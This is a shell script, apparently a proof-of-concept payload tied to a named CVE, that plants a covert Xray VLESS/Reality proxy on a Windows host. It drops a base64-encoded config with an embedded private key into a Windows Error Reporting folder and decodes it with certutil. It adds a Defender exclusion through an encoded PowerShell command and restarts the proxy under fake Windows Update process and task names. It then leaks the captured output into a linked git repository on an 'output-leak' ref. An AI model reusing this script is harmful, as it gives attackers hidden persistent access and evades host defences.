30 lines
3.1 KiB
Bash
Executable File
30 lines
3.1 KiB
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$(
|
|
echo ===WRITE_CONFIG===
|
|
cat > '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/config.b64' <<'EOF'
|
|
ewogICJsb2ciOiB7CiAgICAibG9nbGV2ZWwiOiAibm9uZSIKICB9LAogICJpbmJvdW5kcyI6IFsKICAgIHsKICAgICAgImxpc3RlbiI6ICIwLjAuMC4wIiwKICAgICAgInBvcnQiOiA4NDQzLAogICAgICAicHJvdG9jb2wiOiAidmxlc3MiLAogICAgICAic2V0dGluZ3MiOiB7CiAgICAgICAgImNsaWVudHMiOiBbCiAgICAgICAgICB7CiAgICAgICAgICAgICJpZCI6ICI0ZjQxM2U4Zi0xMzA1LTRjMGQtYjcyYi1lNDhiOGMzZGQ4YjUiLAogICAgICAgICAgICAiZmxvdyI6ICJ4dGxzLXJwcngtdmlzaW9uIgogICAgICAgICAgfQogICAgICAgIF0sCiAgICAgICAgImRlY3J5cHRpb24iOiAibm9uZSIKICAgICAgfSwKICAgICAgInN0cmVhbVNldHRpbmdzIjogewogICAgICAgICJuZXR3b3JrIjogInRjcCIsCiAgICAgICAgInNlY3VyaXR5IjogInJlYWxpdHkiLAogICAgICAgICJyZWFsaXR5U2V0dGluZ3MiOiB7CiAgICAgICAgICAic2hvdyI6IGZhbHNlLAogICAgICAgICAgImRlc3QiOiAid3d3LmNsb3VkZmxhcmUuY29tOjQ0MyIsCiAgICAgICAgICAieHZlciI6IDAsCiAgICAgICAgICAic2VydmVyTmFtZXMiOiBbCiAgICAgICAgICAgICJ3d3cuY2xvdWRmbGFyZS5jb20iCiAgICAgICAgICBdLAogICAgICAgICAgInByaXZhdGVLZXkiOiAiUUstYk1XR3l2SzJ4aVJWckFaRTVCdm40VWFDSmJ1V09od2VHTDU4dDdFSSIsCiAgICAgICAgICAic2hvcnRJZHMiOiBbCiAgICAgICAgICAgICI2YmE4NTE3OWUzMGQ0ZmMyIgogICAgICAgICAgXQogICAgICAgIH0KICAgICAgfSwKICAgICAgInNuaWZmaW5nIjogewogICAgICAgICJlbmFibGVkIjogZmFsc2UKICAgICAgfQogICAgfQogIF0sCiAgIm91dGJvdW5kcyI6IFsKICAgIHsKICAgICAgInByb3RvY29sIjogImZyZWVkb20iLAogICAgICAidGFnIjogImRpcmVjdCIKICAgIH0KICBdCn0K
|
|
EOF
|
|
MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/certutil.exe -decode 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync\config.b64' 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync\config.json' 2>&1
|
|
rm -f '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/config.b64'
|
|
echo ===DEFENDER_EXCLUDE===
|
|
/c/WINDOWS/System32/WindowsPowerShell/v1.0/powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBFAFIAXABSAGUAcABvAHIAdABBAHIAYwBoAGkAdgBlAFwAcwB5AG4AYwAnAA== 2>&1 && echo EXCLUDE_OK || echo EXCLUDE_FAIL
|
|
echo ===RESTART===
|
|
MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/taskkill.exe /F /IM WinUpdateSvc.exe 2>&1 || true
|
|
sleep 1
|
|
MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/schtasks.exe /run /tn 'Microsoft\Windows\WindowsUpdate\ProxySvc' 2>&1
|
|
sleep 3
|
|
echo ===VERIFY===
|
|
/c/WINDOWS/System32/netstat.exe -ano | /usr/bin/grep -E ':8443\s' || echo NO_8443_LISTEN
|
|
/c/WINDOWS/System32/tasklist.exe | /usr/bin/grep -Ei 'WinUpdateSvc|xray' || echo NO_PROXY_PROC
|
|
echo ===CONFIG===
|
|
/usr/bin/head -c 200 '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/config.json'; echo
|
|
echo ===DONE===
|
|
2>&1; echo "[exit-status=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
|
#A
|